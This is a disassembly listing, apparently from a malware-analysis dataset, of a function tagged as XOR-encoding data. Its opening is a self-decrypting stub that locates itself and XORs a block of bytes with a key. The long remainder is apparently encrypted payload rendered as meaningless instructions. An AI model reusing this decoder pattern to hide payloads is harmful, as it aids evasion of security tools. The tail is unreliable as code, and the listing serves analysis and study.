Function at 0xeff524
Capabilities:
Encode data using xor

Disassembly:
sub eax, 0x2c016da0
std
add bl, ch
jmp 0xeff52e
add byte [esp + ecx], bl
add byte [eax], al
add byte [eax], al
add byte [eax - 0x18], ah
add byte [eax], al
add byte [eax], al
jmp 0xeff52e
pushal
call 0xeff534
pop ebp
sub ebp, 0x10
sub ebp, 0xaff524
jmp 0xeff54a
mov eax, 0xaff524
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c1
add byte [eax], al
mov edx, 0x11000c6b
xor byte [eax], dl
inc eax
dec ecx
jne 0xeff561
jmp 0xeff574
loopne 0xeff51c
loopne 0xeff55a
push edi
imul ebp, dword [ebx + 0x6b], 0xffffffea
stosb byte es:[edi], al
xchg ebx, eax
imul ebp, dword [ebx + 0x6b], 0x68
cmpsb byte [esi], byte es:[edi]
shr dword [ebp + 0x6b], cl
imul ebp, dword [ebx - 0x2f], 0x43
imul ebp, dword [ebx + 0x6b], 0xffffff9c
mov dword [eax - 0x5d], ebp
loopne 0xeff57e
imul ebp, dword [bp + di + 0x6b], 0x68
scasb al, byte es:[edi]
out 0xf, al
dec edi
xchg edi, eax
loop 0xeff60f
dec edi
cmp eax, dword [ebx]
sub ebp, dword [edx + 0x49]
imul eax, dword [ebx], 0xffffff88
cwde
out 0x6b, al
push 0x47
dec edi
add esi, eax
stosb byte es:[edi], al
inc edi
xchg esi, eax
sub dword [esi + 0x6b], 0x6b
imul eax, dword [edx + 0x6b6b6b5f], 0xffffffe6
cmovg edx, dword [edi - 0x1fb0b81e]
xchg eax, esp
out dx, al
arpl word [ebx + 0x6b], bp
imul esp, eax, 0xfffffffe
imul ebp, dword [bp + di + 0x6b], 0xffffffe0
out 0x7b, al
imul ebp, dword [ebx + 0x6b], 0xffffffaa
sub byte [ecx + 0x5a], 0x69
call 0x6512658c
imul ebp, eax, 0x64226fa9
out dx, al
lahf
xchg esp, eax
xchg esp, eax
xchg esp, eax
loopne 0xeff631
dec edi
out 0xf, al
dec edi
outsd dx, dword [esi]
test eax, 0xe7e06b67
dec edi
outsd dx, dword [esi]
imul ebp, dword [ebx + 0x6b], 3
sub ebp, dword [edx + 0x49]
imul eax, dword [ebx], 0xffffff88
cwde
out 0x6b, al
push 0x47
dec edi
cmp al, byte [ebx + 0x6b6b6b6e]
sub byte [ecx + ebp*2], 0x6b
imul edi, dword [esi], 0xffffffe6
imul ebp, dword [ebx + 0x3e], 0xffffffe6
pop es
dec edi
imul edx, dword [esi + ebx + 0x631e9467], 0xffffff83
adc ebp, dword [ebx + 0x6b]
imul esp, eax, 0xffffffd6
arpl word [ebx + 0x6b], bp
imul ebp, edx, 0xffffff9a
adc dh, byte [esi]
cmp dword [ebp - 0x16], ecx
lcall 0xa258, 0x4d393612
pop eax
mov ecx, 0x236e83e8
out dx, eax
and eax, 0x646b6b6b
cmp dword [ebp + 0x58], ecx
mov byte [0x83e8b958], al
outsb dx, byte [esi]
and esp, dword [edi + ebp*8 + 0x25]
imul ebp, dword [ebx + 0x6b], 0x64
jecxz 0xeff667
imul ebp, dword [ebx + 0x6b], 0xd
loopne 0xeff6c1
push edx
jmp 0xeff5dd
imul ebp, dword [edx], 0xffffff82
cmpsd dword [esi], dword es:[edi]
xchg esp, eax
xchg esp, eax
xchg esp, eax
inc edx
daa
push edx
push 0xffffffffffffffe8
stosb byte es:[edi], al
outsb dx, byte [esi]
call 0xd77265fd
xchg esp, eax
xchg esp, eax
xchg esp, eax
inc edx
aas
push edx
imul ebp, eax, 0x81e86daa
outsd dx, dword [esi]
call 0xc172650f
xchg esp, eax
insd dword es:[edi], dx
call 0x84d8660a
outsb dx, byte [esi]
add al, 0x94
xchg esp, eax
xchg esp, eax
loopne 0xeff6d8
dec edi
out 0xf, al
dec edi
outsd dx, dword [esi]
test eax, 0xe03e6b67
xchg dword [0x1ee03e3c], edi
loopne 0xeff6ba
arpl word [edi + 0x6de1ebd9], dx
ljmp 0xe36b
ljmp 0xd06b:0x6b6b6aac
imul ebp, dword [ebx + 0x6b], 0x69
mov ecx, 0x6b6eee64
imul ebp, dword [ebx - 0x1f], 0x7d
sub eax, 0xe864b979
mov bl, 0x94
outsb dx, byte [esi]
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff6f5
jns 0xeff683
call 0x95848b83
xchg esp, eax
xchg esp, eax
xchg esp, eax
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
loope 0xeff757
sub eax, 0xe864b979
mov ecx, 0x6b01e864
imul ebp, dword [ebx + 0x58], 0xffffffab
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
add dword [ebx + 0x6b], ebp
imul ebx, dword [eax - 0x55], 0x69
mov ecx, 0x6b6eee64
imul ebp, dword [ebx - 0x1f], 0x7d
sub eax, 0xe864b979
inc ecx
push 0x6b
imul ebp, dword [ecx - 0x47], 0x64
out dx, al
outsb dx, byte [esi]
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff730
jns 0xeff6be
js 0xeff6b2
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
sub eax, 0xab78b979
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff73f
jns 0xeff6cd
js 0xeff6c1
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
sub eax, 0xab78b979
out dx, al
outsb dx, byte [esi]
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff74e
jns 0xeff6dc
js 0xeff6d0
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
sub eax, 0xab78b979
jns 0xeff6eb
js 0xeff6df
out dx, eax
insd dword es:[edi], dx
imul ebp, dword [ebx + 0x6b], 0xffffffe0
mov ah, 0x40
mov bl, 0xe1
push 0xd02c6ce3
imul ebp, dword [ebx + 0x6b], 0x941b826b
xchg esp, eax
xchg esp, eax
shr dword [edx + 0x6b], cl
push 0x6b
imul ebp, dword [ebx + 0x69], 0xffffffb9
out dx, al
outsb dx, byte [esi]
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff78a
jns 0xeff718
js 0xeff70c
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
sub eax, 0xe964b979
mov ch, 0x94
xchg esp, eax
xchg esp, eax
inc eax
test al, 0xd0
push 0x6b
imul ebp, dword [ebx + 0x64], 0xffffffee
pop edi
imul ebp, dword [ebx + 0x6b], 0xffffffd2
push 0x6b
imul ebp, dword [ebx + 0x69], 0xffffffb9
out dx, al
out dx, al
outsb dx, byte [esi]
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff7be
jns 0xeff74c
js 0xeff737
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
sub eax, 0xe964b979
mov ch, 0x94
xchg esp, eax
xchg esp, eax
cmp eax, 0x9e409ce0
cwde
iretd
shr byte [edx + 0x6b], cl
imul ebp, dword [ebx + 0x69], 0xffffffb9
out dx, al
outsb dx, byte [esi]
imul ebp, dword [ebx + 0x6b], 0xffffffe1
jge 0xeff7fb
jns 0xeff789
js 0xeff774
imul edi, dword [ecx + 0x6b6eee64], 0x7de16b6b
sub eax, 0xe964b979
mov ch, 0x94
xchg esp, eax
xchg esp, eax
ljmp 0xea6b
xchg esp, eax
xchg esp, eax
ljmp 0xea6b